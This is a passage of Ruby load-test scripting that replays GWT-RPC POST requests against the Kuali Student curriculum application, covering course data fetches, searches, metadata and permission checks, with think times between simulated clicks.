\"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:browse_person]}|useCurriculumReview|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getData|java.lang.String/2004016611|%%_#{opts[:reqref1_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|485712a2-5559-44d5-9c5d-5c765910d5c0|1|2|3|4|2|5|6|7|6|1|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:browse_person]}|cluModifyItem|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:reqref1_name_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(15)\n \n # The next 24 HTTP Requests happen after clicking on \"BSCI122 PRIN GENETICS 4.0 Credits\" \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5002099C37B5D013EC8762ACCBD03E69|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|getContextPath|1|2|3|4|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|getPrincipalUsername|1|2|3|4|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/MetadataRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C721122BF64327C2BB379CD5224A091|org.kuali.student.common.ui.client.service.MetadataRpcService|getMetadata|java.lang.String/2004016611|search|1|2|3|4|3|5|5|5|6|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5002099C37B5D013EC8762ACCBD03E69|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|get|java.util.List|java.util.Arrays$ArrayList/1243019747|[Ljava.lang.String;/2600011424|application.url|ks.rice.docSearch.serviceAddress|lum.application.url|ks.rice.url|ks.rice.label|ks.application.version|ks.gwt.codeServer|1|2|3|4|1|5|6|7|7|8|9|10|11|12|13|14|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||1|2|3|4|2|5|6|7|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:browse_person]}|useCurriculumReview|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getData|java.lang.String/2004016611|%%_#{opts[:reqref2_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, \n {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|f7000cfc-3bf3-4fc8-9363-be39978b3758|1|2|3|4|2|5|6|7|6|2|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:browse_person]}|cluModifyItem|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:reqref2_name_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(15)\n \n # The next HTTP Request happens after clicking the \"Detailed View\" tab\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => 